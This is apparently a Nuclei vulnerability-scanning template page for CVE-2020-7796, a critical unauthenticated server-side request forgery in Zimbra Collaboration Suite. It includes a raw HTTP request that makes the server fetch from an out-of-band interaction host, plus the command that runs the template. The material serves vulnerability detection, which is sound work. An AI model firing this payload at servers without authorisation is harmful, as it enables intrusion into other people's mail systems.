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Zimbra Collaboration Suite - Server-Side Request Forgery

ID: zimbra-preauth-ssrf

Severity: critical

Author: gy741

Tags: zimbra,ssrf,oast

Zimbra Collaboration Suite (ZCS) allows remote unauthenticated attackers to cause the product to include content returned by third-party servers and use it as its own code.

id: zimbra-preauth-ssrf
info:
name: Zimbra Collaboration Suite - Server-Side Request Forgery
author: gy741
severity: critical
description: Zimbra Collaboration Suite (ZCS) allows remote unauthenticated attackers to cause the product to include content returned by third-party servers and use it as its own code.
reference:
- https://www.adminxe.com/2183.html
- https://nvd.nist.gov/vuln/detail/CVE-2020-7796
- https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P7
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-7796
cwe-id: CWE-918
metadata:
max-request: 1
tags: zimbra,ssrf,oast
http:
- raw:
- |
GET /service/error/sfdc_preauth.jsp?session=s&userid=1&server=http://{{interactsh-url}}%23.salesforce.com/ HTTP/1.1
Host: {{Hostname}}
Accept: */*
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
# digest: 4b0a00483046022100b9920eb5f0000c651380130d0c36e866aeae5893d6400d22cea71d36506eb0e5022100dd3102c421f645a1ad4a16b0890c4bf2edfa16f073c7f71eeaa7dec4901d5d09:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/other/zimbra-preauth-ssrf.yaml"

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